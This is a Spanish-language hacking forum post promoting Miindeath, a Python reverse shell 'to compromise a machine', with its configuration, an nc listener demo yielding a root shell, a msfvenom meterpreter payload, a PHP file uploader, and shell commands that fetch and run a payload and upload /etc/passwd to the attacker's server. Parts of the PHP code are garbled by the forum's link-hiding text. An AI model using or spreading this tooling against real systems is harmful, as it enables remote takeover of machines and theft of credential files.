Underc0de - Hacking y seguridad informática

[In]Seguridad Informática => Hacking => Mensaje iniciado por: DtxdF en Diciembre 14, 2019, 03:02:03 pm

Título: Miindeath: Una shell inversa minimalista :)
Publicado por: DtxdF en Diciembre 14, 2019, 03:02:03 pm
Miindeath

- Miindeath (Siglas de MInImalist Death). Es una shell inversa escrita en Python ( 3 ). que trata de ser lo más simple posible para lograr comprometer una máquina.

Instalación

No requiere librerías externas

Código: Bash
  1. git clone https://github.com/DtxdF/Miindeath.git
  2. cd Miindeath

Modo de ejecución

Código: Bash
  1. editor miindeath.py # Nos vamos a las lineas 54-77 y configuramos a nuestro gusto

Ejemplo:

Código: Python
  1. ...
  2. class config(object):
  3.  
  4.     RHOST = '127.0.0.1'
  5.     RPORT = 4444
  6.     LIMIT = 0 # 0 Es infinito
  7.     #timeout = 180 # 3 minutos
  8.     # Los bufers de red
  9.     RECV = 1024
  10.     SEND = 1024
  11.     HEADERS = {
  12.            
  13.         'User-Agent':'Hi!, My Name is DtxdF :)'
  14.            
  15.     }
  16.    
  17.     # Claves de los valores POST
  18.     FILENAME = 'filename' # El nombre del archivo
  19.     FILECONTENT = 'filecontent' # El contenido del archivo
  20.  
  21.     UNIT_SEP = '.AND.' # Cómo si fuera "bash" o una shell
  22.                        # cualquiera, para ejecutar varios
  23.                        # comandos internos.
  24.     SLEEP = 15
  25.     RECONNECT = True # Reconectar sí hay una desconexión, doh.
  26. ...

Es fácil deducir qué es cada cosa, pero para simplificar la explicación, sólo cambiemos "RHOST" y "RPORT" a los valores correspondientes.

Atacando:

Código: Bash
  1. # Victima:
  2. $ ./miindeath # (En caso que se haya compilado a un ejecutable) o python3 miindeath.py
  3. ...
  4. # Atacante:
  5. $ nc -lvvp 4444
  6. listening on [any] 4444 ...
  7. connect to [127.0.0.1] from localhost [127.0.0.1] 32974
  8. (5857): root@10.124.185.221:/home/dtxdf/tmp$ shell whoami
  9. root
  10. ...

Subiendo y Descargando archivos:

El atacante tiene que tener listo un servidor cualquiera para subir y bajar archivos.

En el caso de la bajada de archivos:


Código: Python
  1. python3 -m http.server 8080
  2. Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

También podria usar Apache (o cualquier otro), pero para hacer una simple demostración ...

Para ser más malévolos, usemos Metasploit O:) ...


Código: Bash
  1. msfvenom -p python/meterpreter/reverse_tcp LHOST=localhost LPORT=4445 -o script.py
  2. No platform was selected, choosing Msf::Module::Platform::Python from the payload
  3. No Arch selected, selecting Arch: python from the payload
  4. No encoder or badchars specified, outputting raw payload
  5. Payload size: 446 bytes
  6. Saved as: script.py

En el caso de la subida:

Creamos un simple uploader en PHP (uploader.php) y lo subimos a nuestro servidor con PHP instalado (Aunque podriamos hacer "php -S 0.0.0.0:8081")


Código: PHP
  1. <?php
  2.  
  3.         if (You are not allowed to view links. Register or Login($_POST['filename'])&&You are not allowed to view links. Register or Login($_POST['filecontent'])) {
  4.  
  5.                 You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login($_POST['filename']), 'wb'), $_POST['filecontent']);
  6.        
  7.         }
  8.  
  9. ?>

En la configuración pueden cambiar los nombres de los parámetros POST

Ahora en la shell para descargar:


Código: Bash
  1. (5857): root@10.124.185.221:/home/dtxdf/tmp$ download http://localhost:8080/script.py /tmp/payload.py
  2. Guardado => /tmp/payload.py

Ahora sólo lo ejecutamos y tenemos una mejor shell con poderes.

Y por último, para subir:


Código: Bash
  1. (5857): root@10.124.185.221:/home/dtxdf/tmp$ upload http://localhost:8081/uploader.php /etc/passwd
  2. /etc/passwd, fue subido correctamente

:)

Notas:

Aunque sea una simple conexión entre sockets (TCP), la subida y bajada de archivos usa HTTP, simplemente porque es más sencillo para un atacante descargar/subir archivos de cualquier servidor público :)

Repositorio: github.com/DtxdF/Miindeath

~ DtxdF